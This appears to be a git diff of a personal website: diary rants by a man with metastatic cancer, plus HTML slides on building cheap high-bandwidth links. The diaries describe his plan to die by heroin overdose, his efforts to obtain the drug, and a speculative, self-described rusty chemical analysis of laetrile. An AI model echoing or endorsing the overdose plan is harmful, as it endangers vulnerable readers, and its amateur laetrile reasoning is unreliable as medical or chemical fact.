he's HUUUGE. + +Tues arvo we went to check out the Chamber at Melbourne. A huge drain +room, under Prahran, where the Clannies has been held for the last ten +years. This is in several ways the spiritual home of the Clan. I've slept +here many nights. Some of my tags survive from 1991, but others have been +painted over. The Clan has a lossy memory in this regard. The graffiti is +good. On the high part of the wall there are painted six commemorative +white patches with names of dead Clan people in them. Mullet, Favero, +Aspro, Cougar. Mullet was the last to die, nearly ten years ago. I am +next. The sign which said "WARNING: This drain subject to Cave Clan" has +been pilfered. + +Wed: CSIRAC!! Thanks Dave Dumant and R for twisting his arm. He met us +wednesday morning and took us to see the exhibit. Built in 1948. Fourth +programmable electronic computer in the world. + +When you are convinced, as I am, that biology is computational in nature, +then an exhibit like this becomes much more than a historical curiosity. +It's a monument to humanity's intellectual puberty, a milestone along the +path we slowly trod en-route to _knowing ourselves_. I have snippets in my +head from looking at it. There's lots of 19" rackmount chassis, corroded +metal. Needle gagues. Blinking lights (forever extinguished, it will never +be turned on again) for the many registers. Selenium plate rectifiers and +big fat transformers. Lots and lots of valves in octal mounting bases, all +cleaned and gleeeeaming. Mercury tube, delay line memory in a metal box. +Forced air cooling. Big fat old capacitors (printed circuits hadn't been +invented yet). Wirewound resistors with their ceramic packing falling off. +Punched tape feeds. Not a diode or a transistor anywhere. Six small CRO +screens. All components hand-soldered, the wires meticulously hand-routed. +I couldn't escape the feeling I was walking around inside a machine +different to other machines I've crawled through... crawl through engines, +printing presses, brick kilns, power station switchyards, production lines +for anything you care to name, they lack something, which is the reek of +engineering complexity only required for some kind of a brain, and I have +detected this reek in only one other place, which is a roomful of old +telephone exchange switchgear, with rows of delaminating relays. I touched +its chassis metal when nobody was looking, which was sort of naughty of +me. When you get close to it you can smell the sour tang of capacitor +electrolyte, the volatile monomers from the depolymerising insulation on +the wires, the faint tang of phenol seeping out of the valve bases. It's +mostly surrounded by thick glass, very clean, so when I went to look +closely at some parts of it my head went BOONK against the clear panes. +Runs at 0.5 milliMIPs. Ed used to program this thing and he's outlasted +it. It used shift registers and barrel rotators just like modern +CPU's. Pulled 20,000 watts. I am glad I have seen it. + +They had an inspirin selection of human anatomy bits in other exhibits, +too. + +After seeing CSIRAC we went down to the Spotswood pumping station. Huge +old coalfired 3-stage condensing reciprocal steam engines, which pumped +Melburnian shit for decades, still stand majestically in the pumping +station, also gleeeeeaming as museum pieces do. Lots of other fun stuff +there, too... hand-pumpable compressors (white man's magic, Ed calls it), +weirdo optical illusion toys, really old pipes made of massive cast-iron +sections. I watched the kids running around in the playground. Spoke to Ed +on the acoustic dish - he's better at finding the focus then I am. + +I said goodbye to Dougo. He said he never expected that the next name on +the wall in the Chamber might be mine. We both have grey hair. Odd +coincidence #47271, my parents' dog and his dog are both named Chloe. He +asked if I wanted to see an old flame of mine, Karla, but I said I dunno +what I'd say to her. I walked back to Ed's place from Dougo's, walking +past a traffic jam which stretched all the way from Tooronga to Glen Iris. + + +Based on how they checked me at Kingsford Smith I decided to gutz the +'shrooms before I went to Sydney, and take the spores north to +characterise whatever this stuff was. + +Thurs: + +I didn't have any 2,4-paradimethylaminobenzaldehyde handy so I thought +fuck it, eat 'em and at midnight I ate the 'shrooms. I felt nothing. Maybe +I need more. Maybe they were bullshit shrooms with no active ingredient. +So I'll be probably moving a load of regular mushroom spores north for no +reason at all. Tosser. + +Ed and Jane saw me off at Tulla'. I'm not especially good at goodbyes so I +sorta hugged 'em and scanned my ticket myself, turned to wave at 'em +over the crowd and disappeared down the corridor. + +I got back to Sydney, a load of spores stashed somewhere in my stuff, and +got a cab back home. + +In the post came the bequeathal form, from the UNSW anatomy department, to +whom I also made enquiries about donating my body. It was clearly, and +plainly, addressed to me. Dad had opened it. For fuck's sake. Ten years +ago when I left home one of the reasons I did it was because he didn't pay +attention to the name on the envelopes which would arrive in the post, and +since we have the same first initial he ended up reading a lot of my +stuff. You know... letters from early flames, fines for dodging fares on +the train, that sort of shit. I suspect he won't do it again... but it's a +hard way to learn. He claims he didn't read it - but how would he know not +to read it if he hadn't read enough of it to know what it was about? +He's bullshitting me. I think I'll send myself some mail, saying, don't +read my fuckin' mail, dad, until he gets the idea. + +Natch, there's a catch. If I smack myself out, then the anatomy department +can't have the bod 'cos the coroner'll want to chop it up in a postmortem +exam 'cos it'll be a suspicious death. Fuck!! Does getting dead the way +I want have to be so fuckin' goddamned complicated? + +Joss, it turns out, is not quite free, even tho she's on the far side of +the planet to Azza. The 'net provides them with a way to engage in what I +deduce to be vicious flame wars, which must be sort of like duelling with +rocket launchers at fifteen million paces. I don't know which eastern +philosopher came up with the insight that you only truly know someone when +you fight them, but whoever it was left out that there are some lessons +which will kill you. + + +I got a strange email from a friend of Cookie's, who's survived cancer, +twice. The email which prompted it was even odder. + +It's all about how I'm gonna have to find some reason to fight for my life. + +"Life is full of problems, and here's the remedy- + Denial works for me. + There's a freight train coming, loaded with anxiety, + you're tied to the tracks? Don't worry. + Denial works for me. + Flood, famine, pestilence, they're all yuckie. + You can let Moses out to the promised land, + Denial works for me. + Why put off till tomorrow, responsibilities? + They'll just come back to haunt you - + Ignore them totally." + +TISM - Denial works for me - www.tism.wanker.com + +Sez I'm intellectualizing it. Well, fuck me! FUCK! I didn't spend years +learning how all this shit works to just retreat into a happy, +emotionally-powered ignorance about it when it came into my life. I don't +maintain this expensive veneer of neocortex so that I can just turn it off +and default to gorilla mode when shit hits the fan. My thinking organ +tells me it's only a matter of time. + +I _know_ there isn't anything romantic about dying young or dying at all +you old prick, I want to say to the dude, but there's no point. Yeah, ok +so when the mets become uncontrollable, I'm getting out and a bunch of +people are gonna be pissed off that I decided not to hang around, in the +face of a protracted, stupid messy end. I can't even say sorry about that +with any conviction... you can't say sorry for something in advance of +going right ahead and doing it, with any honesty. Well, reader. Does it +make you uncomfortable that by deciding that my life is meaningless and +abandonable, I also imply that your life is meaningless and abandonable +too? I'm resigned BECAUSE that's the only way to maintain any control over +myself. I would go absolutely, stark raving, motherfucking, head banging, +shithouse-rat-in-a-washing-machine-on-spin-cycle berserk if I thought it'd +do the least amount of good. It won't do the least amount of good and in +fact will probably make a lot of mess. So I'm not. I'm not being brave; I +run from the cops, I hide from responsibility and I'd do both with this +disease but this is inside my goddamned body so there's no place to go and +no point trying to get there. Yelling at the doctors won't help. They've +heard all this stuff before. I'm not being brave. I'm just being. Let me +be. + +"Life kills. Life kills. + Life's a sentence. + Read all about it." +-TISM (Life Kills) from the Hot Dogma album. + +It's being claimed by someone close to me that I'm milkin' people for +sympathy. So I'll come clean. Yeah. Look. If sympathy came in casks I'd +steal a pallet of 'em, nah, fuck it, a railway car... wait, no, a crude +oil tanker... ar, what the heck if it's too big to land on earth, a small +moon full of it, and go get permanently wasted, swim in the stuff, snort +it, shoot it up, drown in it. Sympathy's a cheap drug, knock it if you +like but it's good for what it's good for. It deludes me into feeling like +I'm not doing this totally alone. Even if people can't, won't or don't +actually give a shit it helps maintain the illusion that some of them do. +I'll take three courses. And the garnish. It's wafer thin, Mr Creosote. +Fuck it. It's not great, it obviously doesn't fix anything. It obviously +won't cure me, and I am not asking it to cure me. It sort of keeps me a +bit sane, ya know? Live for .... what, exactly? Go on. Somebody. Anybody. +Tell me why you think I should hang around. Think hard. If you have any +suggestions they had better be good, otherwise shuddup. I know the price +of being sorry for myself will be my life but I think that payment is +already a done deal so I might as well gulp it down wherever it's on-tap. + + +Live in me for a moment and talk to bill about it. Try and negotiate with +bill. See if bill gives a shit if I twiddle my emotional knob from despair +to elation, or go to the effort of chopping up one of his outposts only to +succumb to hundreds of others. Dylan Thomas, or whatever long-dead wanker +came up with it, might have you believe you should fight the fading of the +light (yeah man, like, my approach was always to bring a spare torch, see +my police service charge sheet) but there are times when it just makes +good sense to lie down, punch a cannula into yourself and die a +chilled-out, sensible death. Does it matter if chickens chicken out, or +cluck'n'scratch right to the end, in the chicken processing factory? +B'gerk bwaark cluck cluck POW. No, not a shit. Pass the drumsticks. + +There are some lessons which will kill you. + +[You may seriously injure or kill yourself with this device]. + +Grr. Grr. Grrrr. Who's. Mister. Fucking. Grumpy. Pants. Where's the +circular saw...? + +------ + +The smack is proving harder to procure than I thought. I'm gonna try +another channel. + +It's May the first. I spent today chopping wood and walking the dog and +writing the remnants of this rant. The circular saw needed some work so I +did that, and chopped a lot of the wood I dragged home in the last few +months. The saw is really loud and sprays sawdust everywhere, a kilowatt +stashed in a disc of whirling wolfram carbide, a productive, controlled +catastrophe. It was good to sit in front of the fire. The room smells of +burnt tree now the fire has gone out. + +The next rant's starting soon. To mark the day I'll call the next file +mayday.txt and it'll be out in June, if I can be fucked. I'll be 33 by +then if I make it there. + +The whole sequence is: +http://conway.cat.org.au/~predator/consent.txt +http://conway.cat.org.au/~predator/gutful.txt +http://conway.cat.org.au/~predator/gutting.txt +http://conway.cat.org.au/~predator/gutted.txt +http://conway.cat.org.au/~predator/hunting.txt +http://conway.cat.org.au/~predator/bill_me.txt +http://conway.cat.org.au/~predator/getting_it.txt +http://conway.cat.org.au/~predator/losing_it.txt +http://conway.cat.org.au/~predator/ides.txt +http://conway.cat.org.au/~predator/march.txt +http://conway.cat.org.au/~predator/foolish.txt (included in this file) +http://conway.cat.org.au/~predator/fools.txt (you're looking at it) + +Geez I'm a gasbag. + + +Oh yeah, I scanned my MRI from november 2003, finally. Meet the father of +all my metastases: + +http://conway.cat.org.au/~predator/psycho_kidney_MRI.png + +If you cant see it email me and I'll make it available as a jpeg at + +http://conway.cat.org.au/~predator/psycho_kidney_MRI.jpg + + + +The next file will be: +http://conway.cat.org.au/~predator/mayday.txt (is yet to come) + +Put yer winter woolies on. It's getting cold. + + + diff --git a/getlaid.html b/getlaid.html new file mode 100644 index 0000000..4790f07 --- /dev/null +++ b/getlaid.html @@ -0,0 +1,47 @@ + + + + + + + + +

+Getting Laid : +acquiring your own large, fast data pipe.
+

+ +

+Do you really need to get (data +pipe) laid?
+

+Problems getting laid commercially
+

+How to get laid on the cheap
+

+Cat@lyst - helping the community get laid in +Sydney

+ + + diff --git a/getlaid2.html b/getlaid2.html new file mode 100644 index 0000000..4d3be94 --- /dev/null +++ b/getlaid2.html @@ -0,0 +1,41 @@ + + + + + + + + + +

+Do you really need to get +laid?

+If you want to do the following, it helps to get laid +- +

+Run any kind of server

+Take more concurrent hits with less lag

+Video streaming / other bandwidth intensive +tasks

+Provide connectivity for multiple dumb boxes

+Host content unpalatable to powerful +organisations

+ +back next + + + diff --git a/getlaid3.html b/getlaid3.html new file mode 100644 index 0000000..af36bcd --- /dev/null +++ b/getlaid3.html @@ -0,0 +1,52 @@ + + + + + + + + +Problems getting laid +commercially + +

+Insistence on use of proprietary operating systems

+ (un) Fair Use Policies : no servers, few +guarantees

+High Price (per connect/MB/hr/port; more for +hi-speed)

+Bandwidth asymmetry - as if the Internet = +television

+Won't do `weird' stuff: dialup, ISDN, cable, ADSL +only

+Policy to not connect to some buildings (eg: +ours)

+Fast data pipe rollout didn't go everywhere

back next

+ + + diff --git a/getlaid4.html b/getlaid4.html new file mode 100644 index 0000000..f7c8da3 --- /dev/null +++ b/getlaid4.html @@ -0,0 +1,51 @@ + + + + + + + + +Reclaiming the bandwidth +
(getting laid on the cheap) + +

+Parallel several phone lines +(BSD/Linux; +33kbps each)
+
+Co-opt/bribe a neighbor; install +cable, +share use
+
+Take HDD/CD-RW, move to nearby fast +fat pipe :-)
+
+Packet radio (need a license, limited +to 9600bps)
+
+SlyNet - roll out your own +clandestine +wires
+
+Packet microwave at 2.425GHz : +2-10Mbps.

+ + +

back +next

+ + + diff --git a/getlaid5.html b/getlaid5.html new file mode 100644 index 0000000..c9df291 --- /dev/null +++ b/getlaid5.html @@ -0,0 +1,43 @@ + + + + + + + + +Reclaiming the bandwidth at +2.425GHz + +

+Achievable with old, free or relatively cheap junk
+(diskless 486-33s, D.I.Y. aerials, ISA WaveLan cards)
+
+No radio licensing required (low power, 0.1 Watt)
+
+Well supported by Linux; very configurable
+
+Usable with line of sight over several km
+
+Some interference from rain and domestic +appliances
+
+Tiny lag (<3ms), big throughput +(megabit/sec).

+ +back next + + + diff --git a/getting_it.txt b/getting_it.txt new file mode 100644 index 0000000..8250964 --- /dev/null +++ b/getting_it.txt @@ -0,0 +1,735 @@ +File: getting_it.txt +Cont: Pred's friendly metastasis. Reality nibbles gently. What the fuck'll +I do now? + + +I can't remember what it was which provoked this memory. In 1993 I was +doing the practical component of the TAFE explosives course. This was +where I held my first old, sweaty (the nitroglycerin had started to sweat +its way out of the cartridge), stick of AN60 gelignite, which we were +gonna condemn to death by laying it down in the quarry and torching it in +puddle of diesel. A long way away from where we would observe it. + +It's been a long time since I've had that creeping, prickly feeling of +fear that accompanied the realisation that the nitroglycerin was migrating +across the skin of my fingers and I'd have a fucker of a headache later, +since nitro' is a potent vasodilator as well as a vicious explosive. It's +the cold grey feeling of discovering you're being infiltrated by something +malevolent, but are powerless to prevent it. Dropping old AN60 from any +height is a good way to become dead fast. I couldn't let it go in any +manner other than was required by the disposal protocol. I could feel the +explosive oil on my fingertips. Yes, I did indeed get a fucker of a +headache later. I have never handled NG since, preferring the nitrated +pentaerythritols and the salami-like sausages, thick as your arm, of 3151 +PowerGel. + +Whatever it was, it came to me while I was headding up to the doctor's +office via the elevator. Maybe the hydraulic oil of the elevator and the +NG smell the same. + +The redheaded flautist, who kindly donated me a pair of khaki pants before +departing for the apple isle (these were the genuine ADI item, too, not +some imitation low-durability crap from a chinese sweatshop), has me under +a momentary vow of monogamy. I mentioned to her after saying I'd cop this +for about a month at most, that since my time is short and I'm grabbing +most things offered to me, that if any carnal offers came up in her +absence I'd probably say yes. She's sounding resigned to my stance, saying +unconvincedly that I should just do what I have to do, but I said that +while we're in the loop, she can negotiate with me about what else we get +up to. She told me to just do what I had to do and tell her a story when +she came back. Wow. This is the same person who without a moment's thought +just walked into the geek room and offered to shag me a few weeks ago. And +we still haven't, though we've been pretty close. I think she's right - +it's gone beyond simply fucking, we're getting to know each other so it's +no longer the straight proteinaceous exchange one can get away with under +the blanket of anonymity which comes from barely knowing each other. + +I figure we've got the pathogens and pregnancy aspects under control, so +it comes down to how vulnerable her ego is to the percieved threat of +anyone else who shags me, whom she would consider as a superior or +competitor, or the assumption that I would, or even could, (I'll phrase +this indelicately for maximum effect) fuck her cheaply and forget her, and +I'm sure as hell not about to do that. But then, maybe that's why she +offered to shag me, from her point of view - I'm disposable. Fair's fair. + +I dropped her at the airport and rode to the doctor's surgery in Kogarah. +I noticed later her blood on the front of the khakis (and they're not +AusCam so the blood contrasted darkly against the green drill fabric, but +ah, there was nothing else to wear). So did the doctors. I would expect +they'd have an eye for blood. + +I had a chat to Aslan _and_ Cozzi, the dudes who spent a few hours playing +about in my guts back in Nov. Cozzi, who resected my cancerous chunk o' +lymph nodality out of my retroperitoneal area, had a look at the scar, +which has healed well. If I have to complain, it could only be because the +scar's fucked up my ol' six pack, even though I never did any work to +obtain either of them. I asked 'em about the homicidal maniac incubating +itself in my neck. They're gonna pass the job to his mate at Randwick and +he will probably opt to chop it out. I am glad I can rely on my previous +tactical slash merchants to be of the opinion that we should slash first, +ask questions later. Okay okay, de Sousa reckons I'm fucked anyhow and I +mostly agree with him, but for reasons mainly related to the need to +support the idea that I've got some sort of a chance (and that I want a +scar I can wear in public for maximum gratuitous egotistical street cred +without freezing my arse off in winter), I'm not going down without a +fight. Finally, someone has the clue. So I see the professorial dude in +Randwick on the 19th. Arrr... precious days elapse, during which time Bill +feeds on my ichor, presumably preparing to launch cytological tentacles +into the important adjacent infrastructure which keeps me alive... little +things like oh, you know, my carotid fuckin' artery. I told 'em I'd been +reading the scientific literature and that it was my opinion that the more +I read about this creeping doom the less I liked it, and frankly the odds +sucked. They said there wasn't much they could do about that. Looks like +medicine is still DIY to some extent these days. + +So I'm also off to see Fluhrer on the 13th about some lipopolysaccharides +from strep pyrogenes and oh, what was the other one.. serratia marcassens. +If we fail to provoke massive immune response to this thing and its +invisible buddies by stuffing a few hundred nanograms of immunogenic crap +into it, we'll chop it out afterwards. + + +It's been a good week for scavenging, but it usually is in the couple of +weeks after Christmasturbation, since all the perfectly good old stuff +gets tossed to make way for more perfectly good new stuff. + +I hauled an _astounding_ bit of stereo hardware out of a dumpster last +week, while bicycling breathlessly back from the paint shop adjacent to +where I went to school as a little kiddie in the mid-late 1970s. It's a +serious weapon from Sony, will drive 160 watts root mean-square into eight +ohms, per channel. It has bass enhancement, surround sound and all that +related digital signal processing accoutrementage of which the Japanese +are so enamoured, and which English electrical engineers such as NAD have +correctly held in contempt from the day they built their first amp out of +thermionic valves nearly a century ago. I still haven't figured out how +to program the graphic equaliser, and have not figured out exactly what +much of the rest of it even does. + +It doesn't have a damned left/right balance control on it, but at least +the volume control is a nice, massy knob with no dead spots. It is very +spacey to hear in operation. It drives my dumpster-dived (and re-coned) +Technics SB1950s with the ... well, noticable effortless transparency +which comes from an amp which is not working very hard to do what it does. +Liquid sound, man! Excellent, and I don't give a fuck what the snotty +audiophile set sez about it. Skinny Puppy's messianic `Warlock' poignantly +flares my nostrils and... I can't quite explain it ... makes the glands at +the back of my jaw ache (listen to everything after four minutes, ten +seconds into the fifth track on the Rabies album, at as much volume as you +can tolerate). I almost have to weep when listening to the rolling, +oceanic, bass tectonics which underpin the Pet Shop Boys' track Jealousy. +The savage dog twitches to it while she sleeps on the carpet. I haven't +wired the surround drivers into it yet. Ahh. Thank you, oh bountiful gods +of Dumpster. + +Along with this audio bounty came a toolbox with lots of good tools and +hardware in it. The tools came up pretty well with a little work involving +some oil and steel wool. Man, I must have found or scavenged just about +every tool in the shed by now... everything from fuel pumps to cathode ray +oscilloscopes. But it's getting crowded. I've started throwing out stuff +that I have accumulated there which had a low probability of my using it +in the next two years. I'm glad of the space. + +I mention the paint shop because adjacent to it is the primary school +where I spent the first seven years of forced incarceration in the +pedagogic monster which has consumed most of my life. In the corner of the +playground where the carpark of the paint shop abutts, is a large gum +tree. I planted it in 1977, at the age of six, on a day pouring rain, with +the then state environment minister, Paul Landa. He died of cancer (are +you bored yet?) a few years later. It was but a fragile sapling when I +packed the wet earth around its roots with my clean, small, childish +hands. It's a BIG tree, now, twenty five years later. The only honest +state politician I have ever met, Paul said it would grow to be so, but I +guess he knew he could be sure in his opinion. It makes me smile to see +kids eat lunch under it. + +I am cycling more, and the lungs are obviously awaking from a long +slumber. Geez, there's so much more traffic these days, and more +noticable when I'm not keeping up with it on the pushie. I got on the +scales at the veterinarians and they said I am captain to 64.65kg of mass. +But my memory's odd. I went to use my TheftPOS card and I remembered the +PIN from three years ago, which it duly rejected. + +I went down to the bicycle shop where I got components for my first +bicycle in the 1980s. It's run now by the son of Ron, who used to run it, +who was claimed by mesothelioma some years ago. I'm on the hunt for a +suspension seat post now I'm back on the road. + +I've also started stability testing of my next bit of computing machinery. +It's a mongrel with a tale worth telling. I dragged the chassis (where oh +where do the side panels always go?) in from the roadside last year. The +power supply was a cat.org.au item but was broken since someone dropped it +so hard its circuit board broke on the mounting lugs - I fixed this, and +also soldered in a nice IEC-III noise suppression socket... maybe I'll put +in some MOVs later for spike quenching. I found the cdrom drive on the +roadside too, a couple of years ago. The RAM is cat.org.au's and I'm +testing that too. The Pentium-III CPU came from a mobo felled by errant +onboard electrolytic power capacitor explosion (irremediable, sadly, since +the resulting short blew some of the adjacent regs) and scavenged from +NDARC by Jude Hungerford, who was *sure* it would be useful for something +(yep - a CPU is a Good Thing). + +I had to fling the broken GX-150 mobo; the actual motherboard is one from +XML, who said it `had problems', and I figured them out : it was doing +segmentation faults mainly 'cos the jumpering and BIOS settings were +changing the core/bus ratio to something faster than the processor could +handle (and it helped to put a heatsink on the south bridge too) so it'd +just seg-fault itself to death a few minutes after boot. So it's in the +other room, doing memory tests, running lots of concurrent maps of its own +process table entries, running a GUI and factoring huge prime numbers. +It's doing about 733MHz, which is a bit sluggard by modern glitzo +standards but is twice as quick as my not-very current Celeron/366 +Robo-608. If it's gonna shit itself I'll know by morning. If not, I'll be +happy. I am glad when I live on a planet where usable recyclable computing +hardware, for which free software is also available, adorns the roadsides +and junk on the living room tables of friends. + +The motherboard came my way at Smokering's, the day after I slept in XML's +bed (and we didn't shag tho we did listen to a lot of Yello which I hadn't +heard for 15 years and I remembered almost all of it, too). Which was +before I spent a couple of afternoon hours in the graveyard behind King +St, Newtown under the huge spreadding fig trees as the sun descended, +holding Wolfie in my mosquitophilic arms and failing to escape the feeling +that I was surrounded by a historical example of my next big change in +domicile - holes in the ground with slabs on top. + +--- + +I spent some of today in the back shed with my shirt off, doing the case +metalwork for this Pentium-III machine I'm putting together, which I'm +happy to say spent all night testing itself (a knoppix 2.4.20-xfs kernel, +several instances of top -d0, memtest, a gui, and about thirty +factorisations of large prime numbers - a considerable load average) and +didn't skip a beat. I think, ladeez-an-ginnulmen, we have a winner. The +PCI bus works too, which i can't say was ever the case for the '608. + +I love metalwork. I would have elected to do it as a full subject in +highschool but I was considered too bright for that, which strikes me as a +decision diagnostic of shameful disdain for the great engineering arts of +metallurgical cuttin'n'weldin'n'drillin'n'foldin, and I've sure as hell +done more useful things with my limited metalwork skills than I have with +anything I ever learned in, say, higher school certificate Modern History. +It's summer and the back shed (where all the real work happens) is hot and +poorly ventilated even with the exhaust fan on and the door open. + +I did the sheet steel work with aviation cutters and a hacksaw (this was +an old ATX tower cover, so pretty easy to retrofit onto a smaller box). +The other case plate came from the aluminium chassis of an obsoleted +19-inch rackmount Digital DECserver MX-200 hub from 1992. I hate wasting +aluminium sheet so I carved it up with a jigsaw and a Dremel tool, and now +it's the side casing of my next machine. Also scored some mains +noise-suppressors out of the ol' DEC item. Cool. + +Cuttin' metal requires manual effort. Sweat poured off me, I stank of +burnt cutting lubricant (stuff you put on the blades to make 'em glide +through the cut metal edges more easily) and that rusty tang from the +reaction between sweat and freshly cut iron filings. The aluminium job was +too big for the bench vise so I cradled it in my lap with my left arm and +used my right hand to guide the jigsaw, which has a customised blade in it +which I tooled down with a grinder a year ago for precisely these sorts of +jobs. + +It was fast work, and hot alloy shavings rained off the smoking, snarlin' +blade onto my belly and thighs but aluminium cools fast (low specific +heat) and I knew I wouldn't be burned. Fuck this new belly button of mine, +though. My previous belly button, protruding slightly as it did, didn't +catch metal shavings with anything like the amazing efficiency of this new +one, and the shavings are sharp, hard to get, and being aluminium won't be +persuaded out with a magnet. I tried to get 'em with the long-nose pliers; +that didn't work, and I eventually used a hose. Bugger. If I sound to you +like the sort of person who will find anything to complain about, it's +obviously 'cos you've never had alloy shavings stuck in your natal scar - +they're a fuck of a lot more of a nuisance than generic bellybutton fluff. + + +Normal mundanity - the thing I continue to live for - is biting again. I'm +gonna go back tomorrow and paint the place I was gonna paint in November +but didn't 'cos I got sick. I'm not looking forward to it since my +destestable sister has made the kitchen messy and smelly again. Fuck I +hate, hate, hate cigarettes and the arseholes who smoke them near me. Even +her vacuum cleaner's exhaust stinks of fag ash. + +------ + + +Some dudes I meet are telling me about things I consider to be possibly +dodgy cures. The present one about which I've been zealously enthused to +is laetrile, also known as amygdalin, a cyanogenic glycoside from almonds, +which is supposed to destroy cancers. Some people call this stuff vitamin +B17, which is just silly since it sure as hell isn't a vitamin, (tho if +you were going to call it a vitamin, it'd be right at home in the motley +molecular crew which comprises the B's, nomenclaturally speaking) as far +as I can tell, it's not even an enzymatic cofactor anywhere in mammalian +biochemistry. + +Laetrile's not any good as an antineoplastic according to my Dictionary of +Plant Toxins (but that's a book about plant poisons, not about oncology), +nor is it any good for this according to my Merck Index. These two tomes +haven't jerked me around before, but the Merck's description struck me as +rather unusually ambivalent in its phrasing - I've never heard of The +Merck putting in an entry for a "putative synthesis". Why anyone'd bother +anyway eludes me - plants *always* get the chirality right. + +According to the Merck, the last paper to seriously take the piss out of +laetrile was written in 1982 before whoever wrote it could have had a clue +about what we know now about enzymes in human metabolism. According to +quackwatch there's been a lot of hostile commentry on the material in the +last 20 years. Dudes have gone to gaol for selling it. + +I'm thinking maybe what I am up against here is anecdotal evidence +unquantified, and amplified, through the meme-propagating power of the +internet, and exposed to people who are desperate for something to believe +in since they believe (correctly) they're gonna die without some or other +cure... natch, the med industry has its own agendas: if cancers were all +easily cured, nobody'd make any bucks out of oncology, chemotherapy or all +the other fun things we people in Club Metastasis live to enjoy for a +while. + + + +"Don'tcha get a fuckin' chokko when you + watch one of those docos about + those diseases which mean you're born with flippers? + + You're feeling sorta well and, next thing you know + it's the Peter McCallum, + for the haircut they give you without clippers." + +TISM - www.tism.wanker.com - Faulty Pressing, Do Not Manufacture + + +I'm never one to dismiss the observations of thousands of ordinary people. +Time to crank up that ancient part of my head into which I hammered +organic chemistry into years ago, and make a judgement for myself. + + +"Worf, shields up, activate bullshit filters!" +-something Picard never said. + +Never done chemistry? Here goes. Don't be afraid, most of organic +chemistry is just a bunch of exercises in electron-pushing and accounting +for it by equivalent amounts of proton theft. They expand this paradigm +into a whole degree at university but it more or less boils down to this: +electrons are the negative things which get pushed around wires +(electron-ics) and are also the material out of which chemical bonds are +made between atoms. A proton is a hydrogen atom without an electron, +protons are positive. Other atoms have more protons in them and need more +electrons to keep 'em electrically balanced (atoms like it when +electrons=protons). Protons repel each other and will rip electrons off +other things to form chemical bonds to them. + +Electrons repel each other and like to go where protons are not already +shrouded with too many electrons... so you can shove electrons in one +place in a molecule (molecule=group of atoms glued together with +electrons) and the electrons'll rearrange to accommodate this, which has +consequences for the end structure of the molecule, which will either bond +to something new, throw something away, or rearrange itself to stash the +electron someplace within (frequently this creates a negative ion). You +can shove protons in and much the same, but opposite sorts of things will +happen. So much for lay terminology, let's chow down. + +Laetrile is two hexose sugar molecules glyco-bonded to each other, in this +case, one of them is bonded via one of its oxygen atoms to a carbon atom; +this last carbon atom is also bonded to a benzene ring (the -Ph below), a +proton (the H atom) and a nitrile group (which people who haven't done any +chem tend to call a cyanide group, but really, it is a nitrile group - +cyanide's an ion, the nitrile group ain't - big behavioural difference). + + glucose + | + mannose-O C%N <-- nitrile + \ / + C + / \ + H Ph <--- benzene ring + +The chemically astute will, if they ignore the nitrile (CN thing) in the +top right for a while, see in the ugly ASCII-art above the residue of a +benzaldehyde precursor (Ph-CHO) in the ether bond to the mannose. +Benzaldehyde is the stuff they sell as bitter almond essence in +supermarkets and you'll see a picture of it in a sec when we pull this +stuff apart. Maybe we'd be better off rotating our heads 90 degrees +anticlockwise and calling this thing the glucose-mannose ether of +phenylacetonitrile, but maybe not. Fuck it. Who cares? IUPAC does but +chemical nomenclature's enough of a shit already. One name'll do. + +The exact nature of the sugar molecules don't matter especially, they're +the metabolically profitable `bait' that the cell is attracted to... the +cell enzymatically drags larger sugar molecules into itself for processing +because they're energetically worth it. Now, if tumors preferentially +metabolise sugars like glucose (but there's a LOT of different sugars in +biochemistry... mannose, lactose, fructose, maltose, erythrose, threose, +trehalose, ribose, rhamnose, just to name a few from memory) 'cos their +protein and lipid metabolism is somewhat broken, then it makes sense that +this stuff gets processed preferentially by tumor cells, IF laetrile is in +fact metabolised by tumor cells at all - the enzymes which cleave sugars +tend to be fairly picky about what they choose to cleave. + +Now we have to think about what happens when a cell tries to eat it. + +First it'd rip off the glucose and use that for the usual glycolysis +pathway into the Krebs cycle, leaving the mannose stuck by an ether bond +(R-O-R') to the phenylacetonitrile, probably floatin' around in the +cytosol someplace. + +Now my chem's a bit rusty, but if, enzymatically (which is more or less +organic-chemist-speak for magic, which is what biochemists know enzymes do +everywhere, all the time), a cell tries to rip off and metabolise that +remaining sugar by pushin' an electron into that ether bond (tricky - +ethers are pretty inert) I'd expect it'd leave a phenylacetonitrile +radical like so: + + O. + | +Ph-C-C%N + | + H + +the electron (represented by the lone . ) either has to attract something +electrophilic to bond to, or the electron has to go someplace locally. + +The benzo (Ph-) is already stuffed to the gills with these things in its +aromatic bond structure and is just gonna electrostatically tell the +electron to go away; the single bond to the proton can't accept any more +either, and the nitrile's fairly dripping with electrons already. The +radical is unstable but it happens that the oxygen wants to keep that lone +electron to itself, to get the sort of double bond it needs to fill its +outer octet... and oxygen being oxygen (the electronegativity rant can +come another day), it's gonna be pretty forceful about getting it. + +So that electron stays right there on the oxy and forces its probability +distribution cloud onto the nearest other thing electrophilic it can bond +to, which is the central tetrahedral carbon. The single bond between the +central carbon and the singly-bonded oxy atom is joined by another single +bond, and (twang!) we get a nice C=O double bond. + +[A probability distribution cloud is the best way to think of an electron; +because of Heisenberg's uncertainty principle, you can't really say +exactly where an electron is, but you can describe the space of where it +is most likely to be in a given slice of time. Some of these clouds have +some funny shapes... go look up electron orbitals if you're bored.] + +This'll push an electron off the central carbon, onto whatever can soak it +up (whatever's the most electrophilic now that the carbon's stuffed with +one more electron than it can usually take) so the radical will degrade to +benzaldehyde and a cyanide radical (a nitrile group with a lone electron +on its carbon atom, which happens to make the whole nitrile electrically +negative, at which point we can refer to it as a cyanide ion): + + +---> + + + + H + | +Ph-C -C%N + "O + +benzaldehyde cyanide + molecule ion + +Benzaldehyde tends to get oxidised to benzoic acid fairly quickly in air, +and I guess the same'd happen in oxygenated cells, too, though I can't see +how it could chew up very much of the cell's available oxygen. It would be +bad news for any marginal cell which tried to metabolise this stuff, +especially anything not well oxygenated due to poor vasculature (as tumors +tend to be), since not only has it had much of its oxygen chewed up by +this sudden appearance of something which likes to be oxidised +(consequently the cell momentarilty can't run its respiratory reactions by +shovin' electrons onto the normally available oxygen, which would in the +usual circumstances subsequently steal a couple of protons to form water). +But you'd still need to eat a LOT of benzaldehyde or its dietary +precursors to have this effect. + +The real headshot for the cell is that the immediately available cyanide +ion has an innate ability to irreversibly bind to components of, and thus +shut down, the cellular electron transport chain. A cell trying to +metabolise this stuff is gonna have a hard, very short life if it can't +accommodate these two problems somehow. Hmmm. I dunno what benzoic acid's +gonna do for the cell's pH either.. probably not much, it's a very weak +acid. + 